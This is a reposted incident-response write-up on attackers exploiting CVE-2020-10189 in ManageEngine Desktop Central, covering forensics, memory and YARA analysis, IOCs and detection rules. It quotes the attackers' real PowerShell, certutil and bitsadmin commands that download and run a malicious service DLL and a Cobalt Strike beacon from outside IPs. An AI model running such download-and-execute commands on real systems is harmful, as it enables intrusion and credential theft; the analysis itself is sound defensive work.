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[转帖]Analysis Of Exploitation: CVE-2020-10189
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发表于: 2020-3-30 15:25 5064
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Original link: https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189/
The Recon incident response team recently worked an intrusion case involving a ManageEngine Desktop Central server that was affected by CVE-2020-10189.
Zoho ManageEngine Desktop Central 10 allows remote code execution because of deserialization of untrusted data in getChartImage in the FileStorage class. This is related to the CewolfServlet and MDMLogUploaderServlet servlets.
https://nvd.nist.gov/vuln/detail/CVE-2020-10189#vulnCurrentDescriptionTitle
Remote Code Execution vulnerability disclosed on Twitter
During our research of Desktop Central vulnerabilities we located a post on Twitter from a researcher who had disclosed an RCE for Desktop Central on March 5, 2020 (Figure 1).
Research on CVE-2020-10189 also showed that vulnerable Desktop Central servers were searchable on Shodan, a popular search engine for Internet-connected devices often used by attackers looking for vulnerable targets (Figure 2).
Figure 2 - Vulnerable Desktop Central servers searchable on Shodan
Initial compromise was determined based on a suspicious PowerShell download cradle that contained instructions to download files from a dotted quad url.
One of the earliest activities carried out by the actor are a few suspicious PowerShell download commands. The commands contained instructions to download install.bat
and storesyncsvc.dll
to C:\Windows\Temp
and then immediately execute install.bat
(figure 3).
cmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98.220:12345/test/install.bat','C:\Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98.220:12345/test/storesyncsvc.dll','C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat
Figure 3 - Suspicious PowerShell download commands
The install.bat
script contained instructions to install storesyncsvc.dll
as a service on the system. (Figure 4).
Figure 4 - Install.bat contents
Predictably, within seconds of the suspicious PowerShell commands being run, we observed the installation of a new service with the Service Name StorSyncSvc
and Display Name of Storage Sync Service
(Figure 5).
Figure 5 - Storage Sync Service install
OSINT quickly confirmed storesyncsvc.dll
to be previously observed by others hit by this campaign. VirusTotal results indicated that several detection engines had already classified storesyncsvc.dll
as malware.
https://www.virustotal.com/gui/file/f91f2a7e1944734371562f18b066f193605e07223aab90bd1e8925e23bbeaa1c/details
Leveraging Process Tracking to Identify Application Exploitation
Knowing that an RCE had been disclosed via Twitter on March 5, 2020, only a few days prior to this intrusion, we already had a strong theory on the attack vector being exploitation of the Zoho ManageEngine Desktop Central application.
Review of Sysmon process creation events indicated that C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe
was the process responsible for executing the PowerShell Download commands (Figure 6).
Figure 6 - ParentImage responsible for PowerShell download
Looking at processes in memory, we also observed the parent/child relationship between the Desktop Central java.exe
application, cmd.exe
and 2.exe
(Figure 7).
Figure 7 - java.exe
parent/child process relationships
Leveraging Filesystem Artifacts to Identify Application Exploitation
To further validate our theory, we compared the artifacts that had been collected from the affected Desktop Central server to the POC that had been published and determined that the attacker had likely leveraged the CVE-2020-10189 vulnerability to run code on this vulnerable system.
Through filesystem timeline analysis we determined that a traversal file write had likely occurred on the system with the file names _chart
(Figure 8) and logger.zip
(Figure 9).
Figure 8 - File system analysis _chart
Figure 9 - File system analysis logger.zip
These file names were also referenced in the POC that had been released by @Steventseeley (Figure 10).
Figure 10 - POC references to _chart
and logger.zip
, reference: https://srcincite.io/pocs/src-2020-0011.py.txt
Command and Control Payload Introduced To System
Subsequent process creation logs revealed cmd.exe
and certutil.exe
commands being used to download and execute 2.exe
(Figure 11). Further analysis revealed a high likelihood of 2.exe
being part of the popular post-exploitation and C2 tool Cobalt Strike.
cmd /c certutil -urlcache -split -f http://91.208.184.78/2.exe && 2.exe
Figure 11 - Certutil commands
OSINT revealed that 2.exe
was already identified as malware by several detection engines on VirusTotal: https://www.virustotal.com/gui/file/d854f775ab1071eebadc0eb44d8571c387567c233a71d2e26242cd9a80e67309/details
Leveraging app.any.run sandbox (Figure 12) and memory analysis of the malware further confirmed the likelihood of 2.exe
being a hosted Cobalt Strike Beacon payload.
Figure 12 - 2.exe
classified as Cobalt Strike Beacon
https://any.run/report/d854f775ab1071eebadc0eb44d8571c387567c233a71d2e26242cd9a80e67309/e65dd4ff-60c6-49a4-8e6d-94c6c80a74b6
Yara analysis supports 2.exe classification as Cobalt Strike
We performed a yara scan against all memory sections in use by the known malware, 2.exe
. The yara scan results further supported the theory of 2.exe
resembling a Cobalt Strike beacon among several other possible malware signature hits (Figure 13).
Figure 13 - Yarascan results
Leveraging Volatility’s malfind plugin, we identified several memory sections with potential signs of code injection. We fired off another yara scan, this time against the memory sections dumped by malfind. This provided additional validation of the likely presence of a Cobalt Strike Beacon. See that entire process in the asciinema recording below (Figure 14).
(请到Original link查看Figure 14视频)
Figure 14 - Yarascan against malfind output
We then examined malfind’s output for evidence of code injection and identified suspicious memory sections within svchost.exe
(Figure 15). OSINT research led us to a researcher that had reversed the malware and found the area responsible for injecting code into svchost.exe
(Figure 16).
Figure 15 - Our analysis of svchost containing injected code
Figure 16 - @VK_Intel’s analysis showing likely inject function
Reference:
Among the post-compromise activities, we observed malicious Bitsadmin commands that contained instructions to transfer install.bat from 66.42.96.220 over suspicious port 12345.
Our analysts observed bitsadmin commands being run on the Desktop Central server which contained the same IP address, port and the same install.bat file called in the PowerShell download commands (Figure 17).
cmd /c bitsadmin /transfer bbbb http://66.42.98.220:12345/test/install.bat C:\Users\Public\install.bat
Figure 17 - Bitsadmin commands
Credential Access
We also observed potential credential access activity. A common technique for attackers to perform credential dumping is using a malicious process (SourceImage) to access another process (the TargetImage). Most commonly, lsass.exe is targeted as it often contains sensitive information such as account credentials.
Here, we observed the SourceImage 2.exe accessing the TargetImage lsass.exe (Figure 18). The Cobalt Strike Beacon contains native credential dumping capabilities similar to Mimikatz. The only required condition to use this capability is SYSTEM privileges, which the attacker had. The event below provides sufficient evidence that the risk of credential access is high.
Figure 18 - 2.exe accessing lsass.exe
Tools For IR Teams Dealing With Similar Intrusions
During our analysis of this intrusion, we added a few collection targets to Eric Zimmerman's KAPE tool to add the relevant logs to triage efforts. Read more about KAPE.
Example usage targeting relevant logs (tune for your use-case):
kape.exe --tsource C: --tdest c:\temp\tout --tflush --target ManageEngineLogs
IOCs
Storesyncsvc.dll MD5: 5909983db4d9023e4098e56361c96a6f SHA256: f91f2a7e1944734371562f18b066f193605e07223aab90bd1e8925e23bbeaa1c Install.bat MD5: 7966c2c546b71e800397a67f942858d0 SHA256: de9ef08a148305963accb8a64eb22117916aa42ab0eddf60ccb8850468a194fc 2.exe MD5: 3e856162c36b532925c8226b4ed3481c SHA256: d854f775ab1071eebadc0eb44d8571c387567c233a71d2e26242cd9a80e67309 66[.]42[.]98[.]220 91[.]208[.]184[.]78 74[.]82[.]201[.]8
Detection
Florian Roth of the Sigma project has created a signature to detect some of the techniques leveraged by the attackers:
https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_exploit_cve_2020_10189.yml
Our analysis of this attack also found that detection based on command-line activity in process creation logs would be valuable.
ParentImage | endswith:
'DesktopCentral_Server\jre\bin\java.exe'
CommandLine | contains:
'powershell'
'certutil'
'bitsadmin'
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